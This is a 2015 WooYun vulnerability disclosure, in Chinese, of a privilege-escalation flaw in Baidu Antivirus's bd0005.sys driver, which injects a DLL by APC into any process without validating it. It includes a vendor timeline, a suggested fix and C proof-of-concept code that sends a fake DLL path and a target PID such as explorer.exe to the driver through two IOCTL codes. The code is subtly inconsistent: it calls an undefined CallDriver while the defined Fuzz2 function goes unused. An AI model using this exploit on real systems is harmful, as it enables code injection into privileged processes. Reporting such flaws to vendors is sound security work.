当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0120175

漏洞标题:百度杀毒某驱动APC注入DLL到任意进程可被提权利用

相关厂商:百度

漏洞作者: 路人甲

提交时间:2015-06-13 10:27

修复时间:2015-09-14 16:52

公开时间:2015-09-14 16:52

漏洞类型:权限提升

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-13: 细节已通知厂商并且等待厂商处理中
2015-06-16: 厂商已经确认,细节仅向厂商公开
2015-06-19: 细节向第三方安全合作伙伴开放
2015-08-10: 细节向核心白帽子及相关领域专家公开
2015-08-20: 细节向普通白帽子公开
2015-08-30: 细节向实习白帽子公开
2015-09-14: 细节向公众公开

简要描述:

百度杀毒bd0005.sys在将某功能dll注入其他进程时,未对dll的合法性以及被注入进程是否为系统关键进程做验证,导致恶意利用可以将任意代码注入任意system权限进程,实现提权。

详细说明:

1.漏洞成因:百度杀毒bd0005.sys会将BdSbxDll.DLL这个模块通过APC注入到运行在沙箱内的进程,但在注入前未对dll的路径有效性、签名有效性,以及被注入进程进行验证。那么攻击者完全可以自己构造一个假的BdSbxDll.DLL,放在任意目录下,通过DeviceIoControl,IoControlCode=0x12364020将假BdSbxDll.DLL的路径传给bd0005.sys,再通过IoControlCode=0x1235e658将任意进程的PID传给bd0005.sys触发漏洞。从而实现任意代码运行在任意进程体内,包括explorer.exe、csrss、svchost等系统关键进程。
2.百度杀毒版本:

版本.jpg


3.bd0005.sys版本:2.0.0.11
4.攻击效果:

2.jpg


1.jpg

漏洞证明:

DWORD GetPidByName(LPCTSTR pName)
{
if(!pName)
return 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(INVALID_HANDLE_VALUE == hSnap)
return 0;
DWORD dwPid = 0;
PROCESSENTRY32 item = { 0 };
item.dwSize = sizeof(PROCESSENTRY32);
BOOL bNext = Process32First(hSnap, &item);
while (bNext)
{
if(StrStrI(item.szExeFile, pName))
{
dwPid = item.th32ProcessID;
break;
}
item.dwSize = sizeof(PROCESSENTRY32);
bNext = Process32Next(hSnap, &item);
}
CloseHandle(hSnap);
return dwPid;
}
void Fuzz2(HANDLE hDev)
{
DWORD dwReturned = 0;
DWORD dwPid = GetPidByName(_T("explorer.exe"));//可以是csrss.exe等任意其他进程
char* path = "c:\\fake\\";
DeviceIoControl(hDev,
0x12364020,
(LPVOID)path,
strlen(path),
NULL,
0,
&dwReturned,
NULL);
DeviceIoControl(hDev,
0x1235e658,
(LPVOID)&dwPid,
4,
(LPVOID)0,
0,
&dwReturned,
NULL);
}
void Fuzz1()
{
LPCTSTR DevName = _T("\\\\.\\Bd0005Ctl");
HANDLE hDev = CreateFile(DevName,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(INVALID_HANDLE_VALUE != hDev)
{
CallDriver(hDev);
CloseHandle(hDev);
}
}
int _tmain(int argc, _TCHAR* argv[])
{
Fuzz1();
return 0;
}

修复方案:

在使用APC插入dll到Ring3之前,对dll的合法性、被插入进程进行验证,不要注入没有运行在沙箱保护内的进程。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-06-16 16:51

厂商回复:

感谢

最新状态:

暂无